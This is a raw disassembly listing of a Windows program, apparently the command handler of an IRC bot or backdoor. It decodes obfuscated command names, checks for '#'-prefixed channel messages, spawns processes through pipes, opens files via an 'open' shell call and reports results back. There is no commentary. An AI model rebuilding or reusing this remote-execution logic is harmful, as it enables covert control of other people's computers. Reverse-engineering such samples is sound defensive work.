db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403CE0 proc near ; CODE XREF: sub_40222Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403CE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+1Eh]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+33h]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403CE0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403D60 proc near ; CODE XREF: sub_401AE6j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403D60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+33h]
mov [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+1Eh]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403D60 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403DE0 proc near ; CODE XREF: sub_401753j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403DE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403DE0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403E50 proc near ; CODE XREF: sub_4011A4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403E50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40222A
lea ecx, [esi+49h]
mov [esp+14h+var_4], 0
call sub_40222A
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_40222A
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_40222A
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_40222A
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_40222A
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_40222A
lea ecx, [esi+1FFh]
mov byte ptr [esp+14h+var_4], 6
call sub_40222A
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403E50 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403F30 proc near ; CODE XREF: sub_40208Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403F30
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+1FFh]
mov [esp+14h+var_4], 6
call sub_401AE6
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_401AE6
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401AE6
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_401AE6
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_401AE6
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_401AE6
lea ecx, [esi+49h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AE6
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AE6
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403F30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_404010 proc near ; CODE XREF: sub_401D48j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_404010
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebp
push esi
push edi
push 0
push 4
push 9
push 4Fh
lea eax, [esp+70h+var_3C]
push 2
mov esi, ecx
push eax
call sub_4019C4
add esp, 18h
push esi
mov ecx, eax
mov [esp+64h+var_4], 0
call sub_4017EE
lea ecx, [esi+0C29h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_404010 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4
push 0Eh
push 12h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 1
call sub_4017EE
push eax
lea eax, [esi+0BCDh]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 15h
push 0Fh
push 2
push 1
push 4Fh
lea ecx, [esp+40h]
push 2
push ecx
call sub_4019C4
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 2
call sub_4017EE
lea edx, [esi+0C57h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 12h
push 15h
push 3
push 5
push 13h
push 4Fh
lea eax, [esp+44h]
push 2
push eax
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 3
call sub_4017EE
lea ecx, [esi+0DF5h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Fh
push 6
push 0Eh
push 9
push 13h
push 19h
push 13h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 4
call sub_4017EE
push eax
lea eax, [esi+0C85h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 16h
push 0Fh
push 0Dh
push 5
push 12h
push 4Fh
lea ecx, [esp+44h]
push 2
push ecx
call sub_4019C4
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 5
call sub_4017EE
lea edx, [esi+0B71h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
push 4Fh
lea eax, [esp+4Ch]
push 2
push eax
call sub_4019C4
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 6
call sub_4017EE
lea ecx, [esi+0DC7h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Eh
push 5
push 10h
push 0Fh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 7
call sub_4017EE
push eax
lea eax, [esi+0D0Fh]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 9
push 15h
push 11h
push 4Fh
lea ecx, [esp+3Ch]
push 2
push ecx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 8
call sub_4017EE
lea edx, [esi+0D99h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 4
push 0Dh
push 3
push 4Fh
lea eax, [esp+38h]
push 2
push eax
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 9
call sub_4017EE
lea ecx, [esi+0E23h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
lea edx, [esp+38h]
push 2
push edx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ah
call sub_4017EE
push eax
lea eax, [esi+0D6Bh]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 4Fh
lea ecx, [esp+38h]
push 2
push ecx
call sub_4019C4
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Bh
call sub_4017EE
lea edx, [esi+0D3Dh]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 0Dh
push 9
push 14h
push 10h
push 15h
push 0Ch
push 4Fh
lea eax, [esp+48h]
push 2
push eax
call sub_4019C4
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ch
call sub_4017EE
push eax
lea ecx, [esi+0CB3h]
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019C4
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Dh
call sub_4017EE
push eax
lea eax, [esi+0CE1h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
db 8Dh, 4Ch, 24h
dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh
dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h, 24548D23h
dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh
dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh
dd 45F46850h, 85680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h
dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h
dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h, 0FE8105Ch
dd 50FFFFD3h, 4445F068h, 8E556800h, 3EE8004Eh, 83FFFFCBh
dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 3DC703E8h
dd 0C88B9002h, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h, 0D89645Dh
dd 0
; ---------------------------------------------------------------------------
add esp, 54h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 150h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404690 proc near ; CODE XREF: sub_401A41j
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_404690
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 7Ch
push ebx
push ebp
push esi
mov esi, [esp+94h+arg_0]
mov ebp, ecx
push edi
lea ebx, [esi+2Ah]
push 0
mov ecx, ebx
mov [esp+9Ch+var_88], ebp
call sub_401479
mov cl, [eax]
lea edi, [esi+69h]
cmp cl, 23h
jnz short loc_4046D2
push ebx
jmp short loc_4046D6
; ---------------------------------------------------------------------------
loc_4046D2: ; CODE XREF: sub_404690+3Dj
lea eax, [esi+15h]
push eax
loc_4046D6: ; CODE XREF: sub_404690+40j
mov ecx, edi
call sub_401FDC
mov al, [esi+94h]
test al, al
jz short loc_4046F2
lea ecx, [esi+15h]
push ecx
mov ecx, edi
call sub_401FDC
loc_4046F2: ; CODE XREF: sub_404690+55j
mov al, [esi+95h]
test al, al
jz short loc_40476F
lea ecx, [esp+98h+var_6C]
call sub_40142E
push offset aO ; " -o"
mov ecx, esi
mov [esp+9Ch+var_4], 0
call sub_4013ED
add eax, 3
lea edx, [esp+98h+var_54]
push eax
push edx
mov ecx, esi
call sub_401E47
push eax
lea ecx, [esp+9Ch+var_6C]
mov byte ptr [esp+9Ch+var_4], 1
call sub_401FDC
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], 0
call sub_401226
lea eax, [esp+98h+var_6C]
mov ecx, edi
push eax
call sub_401FDC
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
loc_40476F: ; CODE XREF: sub_404690+6Aj
push offset asc_444600 ; " "
lea ecx, [esp+9Ch+var_6C]
push 0
push ecx
mov ecx, esi
call sub_4016B8
lea edx, [esp+98h+var_54]
mov ebx, 2
push 1
push edx
mov ecx, eax
mov [esp+0A0h+var_4], ebx
call sub_401E47
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 3
call sub_401FDC
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
push 0
lea ecx, [ebp+32Ch]
call sub_401479
push 0
mov ecx, esi
mov ebp, eax
call sub_401479
mov al, [eax]
mov cl, [ebp+0]
cmp al, cl
jnz loc_404A3A
push 0
push 14h
push 1
push 5
push 10h
push 5
push 12h
push 4Eh
push 14h
push 0Fh
lea ecx, [esp+0C0h+var_54]
push ebx
push ecx
call sub_4019C4
add esp, 30h
mov ecx, eax
mov [esp+98h+var_4], 4
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40485F
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0B0h+arg_0], esp
push edx
call sub_4014D3
mov ecx, offset word_44AC6E
call sub_401CE4
test eax, eax
jz short loc_40485F
mov bl, 1
jmp short loc_404861
; ---------------------------------------------------------------------------
loc_40485F: ; CODE XREF: sub_404690+1A6j
; sub_404690+1C9j
xor bl, bl
loc_404861: ; CODE XREF: sub_404690+1CDj
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_404A1E
push offset asc_444600 ; " "
lea eax, [esp+9Ch+var_54]
push 1
push eax
mov ecx, esi
call sub_4016B8
push offset byte_448F40
mov ecx, eax
mov [esp+9Ch+var_4], 5
call sub_4012EE
test eax, eax
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz loc_404A3A
push offset asc_444600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+98h+var_4], 6
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+98h+var_54]
mov ebp, eax
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz loc_404A3A
push 20h
mov ecx, esi
call sub_401D34
lea edx, [esp+98h+var_84]
push eax
push edx
mov ecx, esi
call sub_401E47
mov ebx, 7
push 20h
lea ecx, [esp+9Ch+var_84]
mov [esp+9Ch+var_4], ebx
call sub_401D34
push eax
lea eax, [esp+9Ch+var_54]
push eax
lea ecx, [esp+0A0h+var_84]
call sub_401E47
push eax
lea ecx, [esp+9Ch+var_84]
mov byte ptr [esp+9Ch+var_4], 8
call sub_40202C
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_84]
push ecx
mov ecx, esi
call sub_401FDC
push offset asc_444600 ; " "
lea edx, [esp+9Ch+var_24]
push 0
push edx
mov ecx, esi
call sub_4016B8
lea ecx, [esp+98h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+0A0h+var_4], 9
call sub_401E47
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_401FDC
lea ecx, [esp+98h+var_3C]
mov byte ptr [esp+98h+var_4], 9
call sub_401226
lea ecx, [esp+98h+var_24]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
mov al, [esp+98h+arg_4]
test al, al
jnz short loc_4049F7
test ebp, ebp
jle short loc_404A08
loc_4049E8: ; CODE XREF: sub_404690+363j
mov ecx, [esp+98h+var_88]
push esi
call sub_401F87
dec ebp
jnz short loc_4049E8
jmp short loc_404A08
; ---------------------------------------------------------------------------
loc_4049F7: ; CODE XREF: sub_404690+352j
test ebp, ebp
jle short loc_404A08
loc_4049FB: ; CODE XREF: sub_404690+376j
mov ecx, [esp+98h+var_88]
push esi
call sub_40144C
dec ebp
jnz short loc_4049FB
loc_404A08: ; CODE XREF: sub_404690+356j
; sub_404690+365j ...
lea ecx, [esp+98h+var_84]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_404A3A
; ---------------------------------------------------------------------------
loc_404A1E: ; CODE XREF: sub_404690+1E7j
mov al, [esp+98h+arg_4]
mov ecx, [esp+98h+var_88]
test al, al
push esi
jnz short loc_404A35
call sub_401F87
jmp short loc_404A3A
; ---------------------------------------------------------------------------
loc_404A35: ; CODE XREF: sub_404690+39Cj
call sub_40144C
loc_404A3A: ; CODE XREF: sub_404690+162j
; sub_404690+232j ...
mov ecx, [esp+98h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 88h
retn 8
sub_404690 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404B60 proc near ; CODE XREF: sub_401F87j
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
mov ecx, offset word_44AC72
call sub_4014DD
mov esi, [esp+8+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jz short loc_404BA6
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push eax
call sub_4014D3
mov ecx, offset word_44AC6E
call sub_401CE4
test eax, eax
jnz short loc_404BA6
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404BA6: ; CODE XREF: sub_404B60+1Dj
; sub_404B60+3Dj
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push edx
call sub_4014D3
mov ecx, offset word_44AC6E
call sub_401CE4
test eax, eax
jnz short loc_404BE6
mov al, [edi+469h]
test al, al
jz short loc_404BE6
push 0
lea ecx, [esi+2Ah]
call sub_401479
cmp byte ptr [eax], 23h
jz short loc_404BE6
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404BE6: ; CODE XREF: sub_404B60+64j
; sub_404B60+6Ej ...
push esi
mov ecx, edi
call sub_40144C
pop edi
pop esi
retn 4
sub_404B60 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C30 proc near ; CODE XREF: sub_40144Cj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 1
lea ecx, [esi+7Eh]
call sub_4017EE
push eax
mov ecx, offset dword_449128
call sub_401B04
test eax, eax
jz short loc_404C5A
mov ecx, [eax+2Ah]
push esi
mov eax, [ecx]
call dword ptr [eax]
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404C5A: ; CODE XREF: sub_404C30+1Cj
xor al, al
pop esi
retn 4
sub_404C30 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C70 proc near ; CODE XREF: sub_40186Bj
push esi
push edi
mov edi, dword_5118AC
mov esi, ecx
call edi
mov edx, dword_4D80A9
mov ecx, [esi+421h]
sub eax, edx
cmp eax, ecx
jbe short loc_404C9F
mov ecx, offset byte_4D8085
call sub_401D20
call edi
mov dword_4D80A9, eax
loc_404C9F: ; CODE XREF: sub_404C70+1Cj
pop edi
mov al, 1
pop esi
retn
sub_404C70 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404CC0 proc near ; CODE XREF: sub_4017D0j
var_1B4 = dword ptr -1B4h
var_1B0 = byte ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = byte ptr -1A8h
var_198 = byte ptr -198h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_17C = dword ptr -17Ch
var_178 = byte ptr -178h
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_14D = byte ptr -14Dh
var_14C = byte ptr -14Ch
var_130 = byte ptr -130h
var_11C = byte ptr -11Ch
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_D0 = dword ptr -0D0h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_54 = byte ptr -54h
var_50 = byte ptr -50h
var_48 = byte ptr -48h
var_30 = byte ptr -30h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_404CC0
push eax
mov large fs:0, esp
sub esp, 15Ch
push ebx
push ebp
push esi
mov esi, [esp+174h+arg_0]
push edi
mov edi, ecx
lea ebp, [esi+7Eh]
lea ecx, [edi+0C29h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404D34
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [edi+2E3h]
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D8085
call sub_401118
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_404D34: ; CODE XREF: sub_404CC0+40j
lea ecx, [edi+0D6Bh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404EC5
push 1
push offset asc_444600 ; " "
lea edx, [esp+180h+var_14C]
push 2
push edx
mov ecx, esi
call sub_4011EA
push offset asc_444600 ; " "
lea eax, [esp+17Ch+var_100]
push 1
push eax
mov ecx, esi
mov [esp+184h+var_4], 0
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, 1
lea ecx, [esp+178h+var_100]
mov byte ptr [esp+178h+var_4], 0
setz bl
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_40142E
push 2000h
push 2000h
lea ecx, [esp+180h+var_164]
mov byte ptr [esp+180h+var_4], 2
call sub_401C71
push eax
lea ecx, [esp+180h+var_14C]
call sub_4017EE
push eax
call near ptr 2800000h
nop
lea ecx, [esp+178h+var_164]
push ecx
lea ecx, [esp+17Ch+var_14C]
call sub_401FDC
mov ecx, 11h
xor eax, eax
lea edi, [esp+178h+var_D0]
lea edx, [esp+178h+var_11C]
rep stosd
lea eax, [esp+178h+var_D0]
push edx
push eax
push 0
neg bl
push 0
push 28h
sbb ebx, ebx
push 1
and ebx, 5
push 0
push 0
lea ecx, [esp+198h+var_14C]
mov [esp+198h+var_D0], 44h
mov word ptr [esp+198h+var_A0], bx
call sub_4014DD
push eax
push 0
nop
call near ptr 27F04A6h
test eax, eax
jnz short loc_404E99
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_4056B8
; ---------------------------------------------------------------------------
loc_404E99: ; CODE XREF: sub_404CC0+18Cj
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_404EC5: ; CODE XREF: sub_404CC0+89j
lea ecx, [edi+0B71h]
call sub_4014DD
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404F74
push 1
push offset asc_444600 ; " "
lea eax, [esp+180h+var_164]
push 1
push eax
mov ecx, esi
call sub_4011EA
mov ecx, offset byte_4E8E55
mov [esp+178h+var_4], 3
call sub_4017EE
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4012EE
test eax, eax
jnz short loc_404F60
mov al, byte_4498A6
test al, al
jz short loc_404F30
push offset dword_449844
mov ecx, offset dword_44AD80
call sub_401451
loc_404F30: ; CODE XREF: sub_404CC0+25Fj
mov al, byte_4498EF
test al, al
jz short loc_404F48
push offset byte_44991F
mov ecx, offset dword_44AD80
call sub_401951
loc_404F48: ; CODE XREF: sub_404CC0+277j
mov ecx, offset dword_44AD80
call sub_401E79
mov byte_4D809C, 0
mov byte_4E8E54, 0
loc_404F60: ; CODE XREF: sub_404CC0+256j
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_164]
jmp loc_4056B8
; ---------------------------------------------------------------------------
loc_404F74: ; CODE XREF: sub_404CC0+21Aj
lea ecx, [edi+0C57h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404FBC
lea ecx, [esi+69h]
call sub_4014DD
push eax
mov ecx, offset word_4E8E6A
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D8085
call sub_401118
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_404FBC: ; CODE XREF: sub_404CC0+2C9j
lea ecx, [edi+0DC7h]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405076
push eax
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
lea eax, [esp+19Ch+var_14C]
push 50h
push eax
call sub_4019C4
mov esi, eax
push 0
push 5
push 18h
push 5
push 4Eh
push 7
push 9
push 6
push 0Eh
push 0Fh
push 3
push 10h
lea ecx, [esp+1D4h+var_164]
push 9
push ecx
mov [esp+1DCh+var_4], 4
call sub_4019C4
add esp, 64h
mov edi, eax
mov ecx, esi
mov byte ptr [esp+178h+var_4], 5
call sub_4017EE
push eax
mov ecx, edi
call sub_4017EE
push eax
call sub_401299
add esp, 8
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 4
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_4056BF
; ---------------------------------------------------------------------------
loc_405076: ; CODE XREF: sub_404CC0+311j
lea ecx, [edi+0D0Fh]
call sub_4017EE
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405194
lea ecx, [esp+178h+var_14C]
call sub_40142E
push offset asc_444600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
mov [esp+184h+var_4], 6
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+178h+var_4], 7
call sub_4017EE
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_401A9B
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_40142E
push 1
mov bl, 8
push 0
push 0
lea ecx, [esp+184h+var_14C]
mov byte ptr [esp+184h+var_4], bl
call sub_4017EE
push eax
push offset aOpen ; "open"
push 0
nop
call near ptr 7CA41110h
movsx eax, al
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_402112
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 9
push ecx
lea ecx, [esp+17Ch+var_164]
call sub_40202C
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014DD
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D8085
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
